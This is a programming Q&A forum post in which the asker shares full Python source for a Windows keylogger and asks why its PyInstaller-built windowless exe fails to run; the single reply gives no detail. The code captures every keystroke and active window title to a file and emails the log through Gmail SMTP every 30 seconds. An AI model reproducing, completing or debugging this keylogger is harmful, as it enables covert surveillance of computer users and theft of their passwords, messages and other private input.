[pyinstaller] I set the path, but an error appears (failed to execute script)

Asked 2 years ago, Updated 2 years ago, 154 views

import os
import getpass
import ctypes
import smtplib
import time
from datetime import datetime
from threading import Thread
from pynput.keyboard import Key, Listener
def resource_path(relative_path):
    try:
        # Functions that access temporary folders when executed in temporary folders by PyInstaller
        base_path = sys._MEIPASS
    except Exception:
        base_path = os.path.abspath(".")
    return os.path.join(base_path, relative_path)
username = getpass.getuser()
now = datetime.now()
now = str(now).split()[0]

basic = open(resource_path('data.txt'), mode="at", encoding="utf-8")
basic.write(username + "/" + now + "\n")
basic.close()
def gettitle():
    lib = ctypes.windll.LoadLibrary('user32.dll')
    handle = lib.GetForegroundWindow() #Handled Active Window
    buffer = ctypes.create_unicode_buffer(255) #Buffer to store the title
    lib.GetWindowTextW(handle, buffer, ctypes.sizeof(buffer)) # Save Title to Buffer

    return buffer.value # buffer return
def wintitle():
    oldtitle = gettitle()
    while True:
        time.sleep(0.1)
        if gettitle() != oldtitle:
            logger("\n" + "///" + gettitle() + "///" + "\n")
        oldtitle = gettitle()
def logger(key):
    key = str(key).replace("'", "")
    f = open(resource_path('data.txt'), mode="at", encoding="utf-8")
    f.write(key + "\n")
    f.close()
def on_press(key):
    logger(key)
    print(key)    
def main2():

    sender = '[email protected]' # Sender Email
    receiver = '[email protected]' # Recipient email (same because they will send to themselves)
    username = '[email protected]' #Your Google Account ID
    password = 'xxx' # Your Google Account Password

    log = open(resource_path('data.txt'), mode='r', encoding='utf-8').read().encode()

    server = smtplib.SMTP('smtp.gmail.com:587')
    server.starttls()
    server.login(username,password)
    server.sendmail(sender, receiver, log)
    server.quit()

if __name__ == "__main__":
    main2()
def FSC():
    while True:
        time.sleep(30)
        print("TIME PASS")
        main2()
def main():         
    with Listener(on_press=on_press) as listener:
        listener.join()
mainThread = Thread(target=main)
titleThread = Thread(target=wintitle)
FSCThread = Thread(target=FSC)

mainThread.start()
titleThread.start()
FSCThread.start()

Running within VSCode works fine. But the problem arises when you convert it to exe.

Run pyinstaller -w --add-data 'data.txt;.' keylogger.py on the terminal for the following picture.

As you can see, the data file exists in the file without any problems. However, when you run keylogger.exe, failed to execute script appears.
I don't think there's any problem with routing.

python pyinstaller keylogger

2022-09-20 19:07

1 Answers

I found an error.


2022-09-20 19:07

If you have any answers or tips


© 2024 OneMinuteCode. All rights reserved.